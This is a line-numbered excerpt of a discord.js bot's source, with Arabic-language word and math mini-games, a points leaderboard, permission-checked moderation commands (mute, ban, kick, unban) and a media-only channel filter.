  860. .setDescription(`${collected.first().author} ? احسنت لقت تمكنت من حل الغز`)
  861. message.channel.send(embed);
  862. console.log(`[Typing] ${collected.first().author} typed the word.`);
  863. let won = collected.first().author;
  864. points[won.id].points++;
  865. })
  866. .catch(collected => {
  867. var embed1 = new Discord.RichEmbed()
  868. .setDescription(`:x:لم يتمكن احد من حل الغز `)
  869. message.channel.send(embed1);
  870. console.log('[Typing] Error: No one type the word.');
  871.  
  872. })
  873. })
  874.  
  875. })
  876. }
  877.  
  878. });
  879.  
  880.  
  881. client.on('message', message => {
  882. if(message.author.bot) return;
  883. if (!points[message.author.id]) points[message.author.id] = {
  884. points: 0,id: message.author.id
  885. };
  886. if (message.content.startsWith(prefix+ 'ركب')) {
  887. if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
  888.  
  889. const type = require('./rkb.json');
  890. const item = type[Math.floor(Math.random() * type.length)];
  891. const filter = response => {
  892. return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
  893. };
  894. message.channel.send('**لديك 15 ثانيه لتركيب الكلمه**').then(msg => {
  895. const w = ['./img/w1.png'];//الخافيه
  896. let Image = Canvas.Image,
  897. canvas = new Canvas(400, 150),
  898. ctx = canvas.getContext('2d');
  899.  
  900. fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
  901. if (err) return console.log(err);
  902. let BG = Canvas.Image;
  903. let ground = new Image;
  904. ground.src = Background;
  905. ctx.drawImage(ground, 0, 0, 400, 150);
  906.  
  907. });
  908. let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
  909. jimp.read(url, (err, ava) => {
  910. if (err) return console.log(err);
  911. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  912. if (err) return console.log(err);
  913.  
  914.  
  915. ctx.font = '15px Arial';
  916. ctx.fontSize = '10px';
  917. ctx.fillStyle = "#FFFFFF";
  918. ctx.textAlign = "center";
  919. ctx.fillText(`${item.type} ` , 250, 100);
  920.  
  921. let Avatar = Canvas.Image;
  922. let ava = new Avatar;
  923. ava.src = buf;
  924. ctx.beginPath();
  925. ctx.arc(70, 80, 63, 0, Math.PI*2);
  926. ctx.closePath();
  927. ctx.clip();
  928. ctx.drawImage(ava, 8, 18, 128, 126);
  929. message.channel.sendFile(canvas.toBuffer());
  930. })
  931.  
  932. message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
  933. .then((collected) => {
  934. var embed = new Discord.RichEmbed()
  935. .setDescription(`${collected.first().author} ? احسنت لقد ركبت الكلمة`)
  936. message.channel.send(embed);
  937. console.log(`[Typing] ${collected.first().author} typed the word.`);
  938. let won = collected.first().author;
  939. points[won.id].points++;
  940. })
  941. .catch(collected => {
  942. var embed1 = new Discord.RichEmbed()
  943. .setDescription(`:x: لم يتمكن احد من تركيب الكلمة`)
  944. message.channel.send(embed1);
  945. console.log('[Typing] Error: No one type the word.');
  946.  
  947. })
  948. })
  949.  
  950. })
  951. }
  952.  
  953. });
  954.  
  955.  
  956.  
  957.  
  958.  
  959.  
  960.  
  961. client.on('message', message => {
  962. if(message.author.bot) return;
  963. if (!points[message.author.id]) points[message.author.id] = {
  964. points: 0,id: message.author.id
  965. };
  966. if (message.content.startsWith(prefix + 'كتابه')) {
  967. if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
  968.  
  969. const type = require('./type.json');
  970. const item = type[Math.floor(Math.random() * type.length)];
  971. const filter = response => {
  972. return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
  973. };
  974. message.channel.send('** لديك 15 ثانيه لكتابه هذه الكلمه بسرعة**').then(msg => {
  975.  
  976. const w = ['./img/w1.png'];//الخافيه
  977. let Image = Canvas.Image,
  978. canvas = new Canvas(400, 150),
  979. ctx = canvas.getContext('2d');
  980.  
  981. fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
  982. if (err) return console.log(err);
  983. let BG = Canvas.Image;
  984. let ground = new Image;
  985. ground.src = Background;
  986. ctx.drawImage(ground, 0, 0, 400, 150);
  987.  
  988. });
  989. let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
  990. jimp.read(url, (err, ava) => {
  991. if (err) return console.log(err);
  992. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  993. if (err) return console.log(err);
  994.  
  995.  
  996. ctx.font = '15px Arial';
  997. ctx.fontSize = '10px';
  998. ctx.fillStyle = "#FFFFFF";
  999. ctx.textAlign = "center";
  1000. ctx.fillText(`${item.type} ` , 250, 100);
  1001.  
  1002. let Avatar = Canvas.Image;
  1003. let ava = new Avatar;
  1004. ava.src = buf;
  1005. ctx.beginPath();
  1006. ctx.arc(70, 80, 63, 0, Math.PI*2);
  1007. ctx.closePath();
  1008. ctx.clip();
  1009. ctx.drawImage(ava, 8, 18, 128, 126);
  1010. message.channel.sendFile(canvas.toBuffer());
  1011. })
  1012.  
  1013. message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
  1014. .then((collected) => {
  1015. var embed = new Discord.RichEmbed()
  1016. .setDescription(`${collected.first().author} ? **احسنت لقد تمكنت من كتابه هذه الكلمه بسرعه**`)
  1017. message.channel.send(embed);
  1018. console.log(`[Typing] ${collected.first().author} typed the word.`);
  1019. let won = collected.first().author;
  1020. points[won.id].points++;
  1021. })
  1022. .catch(collected => {
  1023. var embed1 = new Discord.RichEmbed()
  1024. .setDescription(`:x: **لم يتمكن احد من كتابه هذه الكلمه في الوقت المناسب**`)
  1025. message.channel.send(embed1);
  1026. console.log('[Typing] Error: No one type the word.');
  1027.  
  1028. })
  1029. })
  1030.  
  1031. })
  1032. }
  1033.  
  1034. });
  1035.  
  1036.  
  1037.  
  1038.  
  1039. client.on('message', message => {
  1040. if(message.author.bot) return;
  1041. if (!points[message.author.id]) points[message.author.id] = {
  1042. points: 0,id: message.author.id
  1043. };
  1044. if (message.content.startsWith(prefix + 'رياضيات')) {
  1045. if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
  1046.  
  1047. const type = require('./math.json');
  1048. const item = type[Math.floor(Math.random() * type.length)];
  1049. const filter = response => {
  1050. return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
  1051. };
  1052. message.channel.send('**لديك 15 ثانيه لحل المسئله**').then(msg => {
  1053. const w = ['./img/w1.png'];//الخافيه
  1054. let Image = Canvas.Image,
  1055. canvas = new Canvas(400, 150),
  1056. ctx = canvas.getContext('2d');
  1057.  
  1058. fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
  1059. if (err) return console.log(err);
  1060. let BG = Canvas.Image;
  1061. let ground = new Image;
  1062. ground.src = Background;
  1063. ctx.drawImage(ground, 0, 0, 400, 150);
  1064.  
  1065. });
  1066. let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
  1067. jimp.read(url, (err, ava) => {
  1068. if (err) return console.log(err);
  1069. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  1070. if (err) return console.log(err);
  1071.  
  1072.  
  1073. ctx.font = '15px Arial';
  1074. ctx.fontSize = '10px';
  1075. ctx.fillStyle = "#FFFFFF";
  1076. ctx.textAlign = "center";
  1077. ctx.fillText(`${item.type} ` , 250, 100);
  1078.  
  1079. let Avatar = Canvas.Image;
  1080. let ava = new Avatar;
  1081. ava.src = buf;
  1082. ctx.beginPath();
  1083. ctx.arc(70, 80, 63, 0, Math.PI*2);
  1084. ctx.closePath();
  1085. ctx.clip();
  1086. ctx.drawImage(ava, 8, 18, 128, 126);
  1087. message.channel.sendFile(canvas.toBuffer());
  1088. })
  1089.  
  1090. message.channel.awaitMessages(filter,{
  1091. thing: true,
  1092. maxMatches : 1,
  1093. time : 60000,
  1094. maxUses: 1,
  1095. errors : ['time']
  1096. })//وقت الاجابة
  1097. .then((collected) => {
  1098. var embed = new Discord.RichEmbed()
  1099. .setDescription(`${collected.first().author} ? **احسنت لقد تمكنت من أجابه عن معادله بسرعه**`)
  1100. message.channel.send(embed);
  1101. console.log(`[Typing] ${collected.first().author} typed the word.`);
  1102. let won = collected.first().author;
  1103. points[won.id].points++;
  1104. })
  1105. .catch(collected => {
  1106. var embed1 = new Discord.RichEmbed()
  1107. .setDescription(`:x: **لم يتمكن احد من حل معادله في الوقت المناسب**`)
  1108. message.channel.send(embed1);
  1109. console.log('[Typing] Error: No one type the word.');
  1110.  
  1111. })
  1112. })
  1113.  
  1114. })
  1115. }
  1116.  
  1117. });
  1118.  
  1119. client.on("message", function(message) {
  1120. var prefix = "*";
  1121. if(message.content.startsWith(prefix + "rps")) {
  1122. let messageArgs = message.content.split(" ").slice(1).join(" ");
  1123. let messageRPS = message.content.split(" ").slice(2).join(" ");
  1124. let arrayRPS = ['**# - Rock**','**# - Paper**','**# - Scissors**'];
  1125. let result = `${arrayRPS[Math.floor(Math.random() * arrayRPS.length)]}`;
  1126. var RpsEmbed = new Discord.RichEmbed()
  1127. .setAuthor(message.author.username)
  1128. .setThumbnail(message.author.avatarURL)
  1129. .addField("Rock","??",true)
  1130. .addField("Paper","??",true)
  1131. .addField("Scissors","??",true)
  1132. message.channel.send(RpsEmbed).then(msg => {
  1133. msg.react(' ??')
  1134. msg.react("??")
  1135. msg.react("??")
  1136. .then(() => msg.react('??'))
  1137. .then(() =>msg.react('??'))
  1138. .then(() => msg.react('??'))
  1139. let reaction1Filter = (reaction, user) => reaction.emoji.name === '??' && user.id === message.author.id;
  1140. let reaction2Filter = (reaction, user) => reaction.emoji.name === '??' && user.id === message.author.id;
  1141. let reaction3Filter = (reaction, user) => reaction.emoji.name === '??' && user.id === message.author.id;
  1142. let reaction1 = msg.createReactionCollector(reaction1Filter, { time: 12000 });
  1143.  
  1144. let reaction2 = msg.createReactionCollector(reaction2Filter, { time: 12000 });
  1145. let reaction3 = msg.createReactionCollector(reaction3Filter, { time: 12000 });
  1146. reaction1.on("collect", r => {
  1147. message.channel.send(result)
  1148. })
  1149. reaction2.on("collect", r => {
  1150. message.channel.send(result)
  1151. })
  1152. reaction3.on("collect", r => {
  1153. message.channel.send(result)
  1154. })
  1155.  
  1156. })
  1157. }
  1158. });
  1159.  
  1160.  
  1161. client.on('message', message => {
  1162. if(message.author.bot) return;
  1163. if (message.content.startsWith(prefix + 'توب')) {
  1164. let _top = 1;
  1165. let topp = Object.values(points);
  1166. let top = topp.slice(0, 10).map(users => `**\`.${_top++}\` | <@${users.id}> \`XP: ${users.points}\`**`).sort((a, b) => a > b).join('\n');
  1167. const prefixlor = new Discord.RichEmbed()
  1168. .setTitle("Leaderboard")
  1169. .setAuthor(client.user.username, client.user.avatarURL)
  1170. .setDescription(top,true)
  1171.  
  1172. message.channel.sendEmbed(prefixlor)
  1173. }
  1174.  
  1175. });
  1176.  
  1177. client.on('message', message => {
  1178. if(message.author.bot) return;
  1179. if (message.content.startsWith(prefix + 'نقاطي')) {
  1180. if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
  1181. let userData = points[message.author.id];
  1182. let embed = new Discord.RichEmbed()
  1183. .setAuthor(`${message.author.tag}`, message.author.avatarURL)
  1184. .setColor('#000000')
  1185. .setDescription(`نقاطك: \`${userData.points}\``)
  1186. message.channel.sendEmbed(embed)
  1187. }
  1188. });
  1189.  
  1190.  
  1191.  
  1192.  
  1193. client.on('message', async message => {
  1194. let mention = message.mentions.members.first();
  1195. let command = message.content.split(" ")[0];
  1196. command = command.slice(prefix.length);
  1197. let args = message.content.split(" ").slice(1);
  1198. if (message.content === ">unmute") {
  1199. if(!message.member.hasPermission("MUTE_MEMBERS")) return message.channel.sendMessage("**You Donot HavePermission Mute_Members**").then(m => m.delete(5000));
  1200. if(!message.guild.member(client.user).hasPermission("MUTE_MEMBERS")) return message.reply("**I donot Have Permission Mute_Members**").then(msg => msg.delete(6000))
  1201.  
  1202. let kinggamer = message.guild.member(message.mentions.users.first()) || message.guild.members.get(args[0]);
  1203. if(!kinggamer) return message.channel.send('Mention Someone')
  1204.  
  1205.  
  1206. let role = message.guild.roles.find (r => r.name === "Muted");
  1207.  
  1208. if(!role || !kinggamer.roles.has(role.id)) return message.channel.sendMessage(`**:information_source:${mention.user.username} لقد تم فك الميوت عنه مسبقا**`)
  1209.  
  1210. await kinggamer.removeRole(role)
  1211. message.channel.sendMessage(`**:white_check_mark: ${mention.user.username} Unmute> **`);
  1212. let mutedEmbed = new Discord.RichEmbed()
  1213. .setDescription("New UnMute User")
  1214. .setThumbnail(message.guild.iconURL)
  1215. .setColor("#bc0000")
  1216. .addField("Unmuted", `${mention} with ID ${mention.id}`)
  1217. .addField("Unmuted By", `<@${message.member.id}> with ID ${message.member.id}`)
  1218. .addField("Unmuted In", message.channel)
  1219. .addField("Time & Date", `${message.createdAt}`)
  1220. .setFooter("?????????? ??????")
  1221. let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
  1222. if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
  1223.  
  1224. return;
  1225.  
  1226. }
  1227.  
  1228. });
  1229. client.on('message',message =>{
  1230. var command = message.content.toLowerCase().split(" ")[0];
  1231. var args = message.content.toLowerCase().split(" ");
  1232. var userM = message.mentions.users.first()
  1233. if(command == prefix + 'unban') {
  1234. if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send(':no_entry: | You dont have **BAN_MEMBERS** Permission!');
  1235. if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.channel.send(':no_entry: | I dont have **BAN_MEMBERS** Permission!');
  1236. if(!args[1]) return message.channel.send(':no_entry: | Please type the ID of user');
  1237. if(args[1].length < 16) return message.reply(':no_entry: | This ID is not id user!');
  1238. message.guild.fetchBans().then(bans => {
  1239. var Found = bans.find(m => m.id === args[1]);
  1240. if(!Found) return message.channel.send(`:no_entry: | <@${message.author.id}> This preson not have any ban from this server! :unlock:`);
  1241. message.guild.unban(args[1]);
  1242. message.channel.send(`:white_check_mark: Successfully \`\`UNBANNED\`\` <@${args[1]}> From the server!`);
  1243.  
  1244. let banInfo = new Discord.RichEmbed()
  1245. .setTitle('**New Unbanned User !**')
  1246. .setThumbnail(message.author.avatarURL)
  1247. .setColor('GREEN')
  1248. .setDescription(`**\n:airplane: Successfully \`\`UNBANNED\`\` <@${args[1]}> From the server!\n\n**User:** <@${args[1]}> (ID: ${args[1]})\n**By:** <@${message.author.id}> (ID: ${message.author.id})`)
  1249. .setTimestamp()
  1250. .setFooter(userM.user.tag, userM.user.avatarURL)
  1251.  
  1252. let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
  1253. if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
  1254. incidentchannel.send(banInfo);
  1255. }
  1256.  
  1257. )}
  1258. })
  1259.  
  1260. const mmss = require('ms');
  1261. client.on('message', async message => {
  1262. let muteReason = message.content.split(" ").slice(3).join(" ");
  1263. let mutePerson = message.mentions.users.first();
  1264. let messageArray = message.content.split(" ");
  1265. let muteRole = message.guild.roles.find("name", "Muted");
  1266. let time = messageArray[2];
  1267. if(message.content.startsWith(prefix + "tempmute")) {
  1268. if(!message.member.hasPermission('MUTE_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `MUTE_MEMBERS`' );
  1269. if(!mutePerson) return message.channel.send('**Mention Someone**')
  1270. if(mutePerson === message.author) return message.channel.send('**You Cant Mute Yourself**');
  1271. if(mutePerson === client.user) return message.channel.send('**You Cant Mute The Bot**');
  1272. if(message.guild.member(mutePerson).roles.has(muteRole.id)) return message.channel.send('**This Person Already Tempmuted !**');
  1273. if(!muteRole) return message.guild.createRole({ name: "Muted", permissions: [] });
  1274. if(!time) return message.channel.send("**Type The Duration**");
  1275. if(!time.match(/[1-60][s,m,h,d,w]/g)) return message.channel.send('**The Bot Not Support This Time**');
  1276. if(!muteReason) return message.channel.send('Please Type The Reason')
  1277. message.guild.member(mutePerson).addRole(muteRole);
  1278. message.channel.send(`**:white_check_mark: ${mutePerson} has been muted ! :zipper_mouth: **`)
  1279. message.delete()
  1280. let muteEmbed = new Discord.RichEmbed()
  1281. .setTitle(`New Temp Muted User`)
  1282. .setThumbnail(message.guild.iconURL)
  1283. .addField('- Muted By:',message.author,true)
  1284. .addField('- Muted User:', `${mutePerson}`)
  1285. .addField('- Reason:',muteReason,true)
  1286. .addField('- Duration:',`${mmss(mmss(time), {long: true})}`)
  1287. .setFooter(message.author.username,message.author.avatarURL);
  1288. let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
  1289. if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
  1290. incidentchannel.sendEmbed(muteEmbed)
  1291. mutePerson.send(`**You Are has been temp muted in ${message.guild.name} reason: ${muteReason}**`)
  1292. .then(() => { setTimeout(() => {
  1293. message.guild.member(mutePerson).removeRole(muteRole);
  1294. }, mmss(time));
  1295. });
  1296. }
  1297. });
  1298.  
  1299. client.on('message', async message => {
  1300. var moment = require('moment');
  1301. var mmss = require('ms')
  1302. let date = moment().format('Do MMMM YYYY , hh:mm');
  1303. let User = message.mentions.users.first();
  1304. let Reason = message.content.split(" ").slice(3).join(" ");
  1305. let messageArray = message.content.split(" ");
  1306. let time = messageArray[2];
  1307. if(message.content.startsWith(prefix + "tempban")) {
  1308. if (!message.channel.guild) return;
  1309. if(!message.guild.member(message.author).hasPermission("BAN_MEMBERS")) return message.channel.send("**ماعندك برمشن :X:**");
  1310. if(!User) message.channel.send("Mention Someone");
  1311. if(User.id === client.user.id) return message.channel.send("** :X: ماتقدر تبند البوت**");
  1312. if(User.id === message.guild.owner.id) return message.channel.send("** :X:لااستطيع تبنيد الاونر **");
  1313. if(!time) return message.channel.send("**- اكتب الوقت**");
  1314. if(!time.match(/[1-60][s,m,h,d,w]/g)) return message.channel.send('** :X: البوت لايدعم هذا الوقت**');
  1315. if(!Reason) Reason = "Null";
  1316. let banEmbed = new Discord.RichEmbed()
  1317. .setAuthor(`New Banned User !`)
  1318. .setThumbnail(message.guild.iconURL || message.guild.avatarURL)
  1319. .addField('- Banned By: ',message.author.tag,true)
  1320. .addField('- Banned User:', `${User}`)
  1321. .addField('- Reason:',Reason,true)
  1322. .addField('- Time & Date:', `${message.createdAt}`)
  1323. .addField('- Duration:',time,true)
  1324. .setFooter(message.author.tag,message.author.avatarURL);
  1325. let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
  1326. if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
  1327. incidentchannel.send(banEmbed);
  1328. message.channel.send(`**:white_check_mark: ${User} has been banned :airplane: **`).then(() => message.guild.member(User).ban({reason: Reason}))
  1329. User.send(`**:airplane: You are has been banned in ${message.guild.name} reason: ${Reason} by: ${message.author.tag} :airplane:**`)
  1330. .then(() => { setTimeout(() => {
  1331. message.guild.unban(User);
  1332. }, mmss(time));
  1333. });
  1334. }
  1335. });
  1336.  
  1337.  
  1338.  
  1339.  
  1340.  
  1341. client.on('message', message => {
  1342. var prefix = ">";
  1343. if (message.author.kick) return;
  1344. if (!message.content.startsWith(prefix)) return;
  1345.  
  1346. let command = message.content.split(" ")[0];
  1347. command = command.slice(prefix.length);
  1348.  
  1349. let args = message.content.split(" ").slice(1);
  1350.  
  1351. if (command == "kick") {
  1352. if (!message.channel.guild) return;
  1353.  
  1354. if(!message.guild.member(message.author).hasPermission("KICK_MEMBERS")) return message.reply("You Don't Have KICK_MEMBERS Permission").then(msg => msg.delete(5000));
  1355. if(!message.guild.member(client.user).hasPermission("KICK_MEMBERS")) return message.reply("I Don't Have KICK_Members Permission");
  1356. let user = message.mentions.users.first();
  1357. let reason = message.content.split(" ").slice(2).join(" ");
  1358.  
  1359. if (message.mentions.users.size < 1) return message.reply("Mention Someone");
  1360. if(!reason) reason = "Null";
  1361. if (!message.guild.member(user)
  1362. .bannable) return message.reply("I can not be higher than my rank");
  1363.  
  1364. message.guild.member(user).kick(7, user);
  1365.  
  1366. const Kickembed = new Discord.RichEmbed()
  1367. .setTitle('**New Kicked User !**')
  1368. .setThumbnail(message.guild.iconURL)
  1369. .setColor("RANDOM")
  1370. .addField("Kicked User:", `${user.tag}`)
  1371. .addField("Kicked By:", `${message.author.tag}`)
  1372. .addField("Reason:", `${reason}`)
  1373. .addField("Kicked In :", `${message.channel.name}`)
  1374. .addField("Time & Date :", `${message.createdAt}`)
  1375. .setFooter('?????????? ??????');
  1376. message.guild.channels.find('name', 'log').sendEmbed(Kickembed)
  1377. message.channel.send(`**:white_check_mark: ${user} has been kicked ! :airplane:**`)
  1378. user.send(`**:airplane: You are has been kicked in ${message.guild.name} reason: ${reason}**`)
  1379. message.delete()
  1380. }
  1381. })
  1382. client.on('message', message => {
  1383. if (message.author.x5bz) return;
  1384. if (!message.content.startsWith(prefix)) return;
  1385.  
  1386. let command = message.content.split(" ")[0];
  1387. command = command.slice(prefix.length);
  1388.  
  1389. let args = message.content.split(" ").slice(1);
  1390.  
  1391. if (command == "ban") {
  1392. if (!message.channel.guild) return;
  1393.  
  1394. if(!message.guild.member(message.author).hasPermission("BAN_MEMBERS")) return message.reply("**You Don't Have ` BAN_MEMBERS ` Permission**");
  1395. if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.reply("**I Don't Have ` BAN_MEMBERS ` Permission**");
  1396. let user = message.mentions.users.first();
  1397. let reason = message.content.split(" ").slice(2).join(" ");
  1398. /*let b5bzlog = client.channels.find("name", "5bz-log");
  1399.  
  1400. if(!b5bzlog) return message.reply("I've detected that this server doesn't have a 5bz-log text channel.");*/
  1401. if (message.mentions.users.size < 1) return message.reply("**Mention Someone**");
  1402. if(!reason) reason = "Null";
  1403. if (!message.guild.member(user)
  1404. .bannable) return message.reply("**This person has a grade higher than his bot rank**");
  1405.  
  1406. message.guild.member(user).ban(7, user);
  1407. message.channel.send(`**:white_check_mark: ${user} has been banned :airplane: **`)
  1408. let banEmbed = new Discord.RichEmbed()
  1409. .setAuthor(`New Banned User !`)
  1410. .setThumbnail(message.guild.iconURL || message.guild.avatarURL)
  1411. .addField('- Banned By: ',message.author.tag,true)
  1412. .addField('- Banned User:', `${user}`)
  1413. .addField('- Reason:',reason,true)
  1414. .addField('- Time & Date:', `${message.createdAt}`)
  1415. .setFooter(message.author.tag,message.author.avatarURL);
  1416. let incidentchannel = message.guild.channels.find(`name`, `${log[message.guild.id].channel}`);
  1417. if(!incidentchannel) return message.channel.send("Can't find log channel. To Set The Log Channel Type >setLog and answer the questions");
  1418. incidentchannel.send(banEmbed);
  1419. user.send(`You Are Has Been Banned Permanently In ${message.guild.name} reason: ${reason}`)
  1420. }})
  1421.  
  1422. const pics = JSON.parse(fs.readFileSync('./pics.json' , 'utf8'));
  1423. client.on('message', message => {
  1424. if (!message.channel.guild) return;
  1425.  
  1426. let room = message.content.split(" ").slice(1);
  1427. let findroom = message.guild.channels.find('name', `${room}`)
  1428. if(message.content.startsWith(prefix + "setMedia")) {
  1429. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  1430. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  1431. if(!room) return message.channel.send('Please Type The Channel Name')
  1432. if(!findroom) return message.channel.send('Cant Find This Channel')
  1433. let embed = new Discord.RichEmbed()
  1434. .setTitle('**Done The MediaOnly Code Has Been Setup**')
  1435. .addField('Channel:', `${room}`)
  1436. .addField('Requested By', `${message.author}`)
  1437. .setThumbnail(message.author.avatarURL)
  1438. .setFooter(`${client.user.username}`)
  1439. message.channel.sendEmbed(embed)
  1440. pics[message.guild.id] = {
  1441. channel: room,
  1442. onoff: 'On'
  1443. },
  1444. fs.writeFile("./pics.json", JSON.stringify(pics), (err) => {
  1445. if (err) console.error(err)
  1446.  
  1447. })
  1448. }})
  1449.  
  1450. client.on('message', message => {
  1451.  
  1452. if(message.content.startsWith(prefix + "toggleMedia")) {
  1453. if (!message.channel.guild) return;
  1454.  
  1455. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  1456. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  1457. if(!pics[message.guild.id]) pics[message.guild.id] = {
  1458. onoff: 'Off'
  1459. }
  1460. if(pics[message.guild.id].onoff === 'Off') return [message.channel.send(`**The MediaCode Is __????__ !**`), pics[message.guild.id].onoff = 'On']
  1461. if(pics[message.guild.id].onoff === 'On') return [message.channel.send(`**The MediaCode Is __??????__ !**`), pics[message.guild.id].onoff = 'Off']
  1462. fs.writeFile("./pics.json", JSON.stringify(pics), (err) => {
  1463. if (err) console.error(err)
  1464.  
  1465. })
  1466. }
  1467.  
  1468. })
  1469.  
  1470. client.on('message', message => {
  1471. if (!message.channel.guild) return;
  1472. if(message.author.bot) return;
  1473.  
  1474. if(!pics[message.guild.id]) pics[message.guild.id] = {
  1475. onoff: 'Off'
  1476. }
  1477. if(pics[message.guild.id].onoff === 'Off') return;
  1478.  
  1479. if(message.channel.name !== `${pics[message.guild.id].channel}`) return;
  1480.  
  1481. let types = [
  1482. 'jpg',
  1483. 'jpeg',
  1484. 'png',
  1485. 'http://prntscr.com/'
  1486. ]
  1487. if (message.attachments.size <= 0) {
  1488. message.delete();
  1489. message.channel.send(`${message.author}, This Channel For Media ??? Only !`)
  1490. .then(msg => {
  1491. setTimeout(() => {
  1492. msg.delete();
  1493. }, 5000)
  1494. })
  1495. return;
  1496. }
  1497. if(message.attachments.size >= 1) {
  1498. let filename = message.attachments.first().filename
  1499. console.log(filename);
  1500. if(!types.some( type => filename.endsWith(type) )) {
  1501. message.delete();
  1502. message.channel.send(`${message.author}, This Channel For Media ??? Only !`)
  1503. .then(msg => {
  1504. setTimeout(() => {
  1505. msg.delete();
  1506. }, 5000)
  1507. })
  1508. .catch(err => {
  1509. console.error(err);
  1510. });
  1511. }
  1512. }
  1513. })
  1514. client.on('message', message => {
  1515. if(message.content.startsWith(prefix + "infoMedia")) {
  1516. let embed = new Discord.RichEmbed()
  1517. .addField('Channel Status', `${pics[message.guild.id].onoff}`)
  1518. .addField('Media Channel', `${pics[message.guild.id].channel}`)
  1519. .addField('Requested By', `${message.author}`)
  1520. .setThumbnail(message.author.avatarURL)
  1521. .setFooter(`${client.user.username}`)
  1522. message.channel.sendEmbed(embed)
  1523. }})
  1524. const say = JSON.parse(fs.readFileSync('./say.json' , 'utf8'));
  1525. //Perfect Say Code
  1526. client.on('message', async message => {
  1527. let messageArray = message.content.split(" ");
  1528. if(message.content.startsWith(prefix + "setSay")) {
  1529. let filter = m => m.author.id === message.author.id;
  1530. let role;
  1531.  
  1532. if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
  1533. msg.delete(4500);
  1534. message.delete(4500);
  1535. });
  1536.  
  1537. message.channel.send(':pencil: **| Please Type The Role Required To Type The Say Command ... :pencil2: **').then(msg => {
  1538.  
  1539. message.channel.awaitMessages(filter, {
  1540. max: 1,
  1541. time: 90000,
  1542. errors: ['time']
  1543. })
  1544.  
  1545. .then(collected => {
  1546. collected.first().delete();
  1547. role = collected.first().content;
  1548. let replymsg;
  1549. msg.edit(':scroll: **| Now Please Type The Answer If He Dont Have The Required Role ... :pencil2: **').then(msg => {
  1550.  
  1551. message.channel.awaitMessages(filter, {
  1552. max: 1,
  1553. time: 90000,
  1554. errors: ['time']
  1555. })
  1556. .then(collected => {
  1557. collected.first().delete();
  1558. replymsg = collected.first().content;
  1559. msg.edit('? **| Successfully Setup !... **').then(msg => {
  1560.  
  1561. message.channel.awaitMessages(filter, {
  1562. max: 1,
  1563. time: 90000,
  1564. errors: ['time']
  1565. })
  1566.  
  1567. let embed = new Discord.RichEmbed()
  1568. .setTitle('**Done The Say Code Has Been Setup**')
  1569. .addField('Say Role:', `${role}`)
  1570. .addField('Say Role Reply:', `${replymsg}`)
  1571. .addField('Requested By:', `${message.author}`)
  1572. .setThumbnail(message.author.avatarURL)
  1573. .setFooter(`${client.user.username}`)
  1574. .setColor('RANDOM')
  1575. say[message.guild.id] = {
  1576. onoff: 'On',
  1577. sayembed: 'On',
  1578. reply: replymsg,
  1579. sayrole: role
  1580. },
  1581. message.channel.sendEmbed(embed)
  1582. fs.writeFile("./say.json", JSON.stringify(say), (err) => {
  1583. if (err) console.error(err)
  1584. })
  1585. })
  1586. })
  1587. })
  1588. })
  1589. })
  1590. }})
  1591.  
  1592. client.on('message', message => {
  1593. let args = message.content.split(" ").slice(1);
  1594. if(message.content.startsWith(prefix + 'embedsay')) {
  1595. if(say[message.guild.id].onoff === 'Off') return;
  1596. if(say[message.guild.id].sayembed === 'Off') return;
  1597. let staff = message.guild.member(message.author).roles.find('name' , `${say[message.guild.id].sayrole}`);
  1598. if(!staff) return message.channel.send(`${say[message.guild.id].replymsg}`)
  1599. let embed = new Discord.RichEmbed()
  1600. .setDescription(args)
  1601. message.channel.sendEmbed(embed)
  1602. }})
  1603.  
  1604.  
  1605. client.on('message', message => {
  1606.  
  1607. if(message.content.startsWith(prefix + "toggleSay")) {
  1608. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
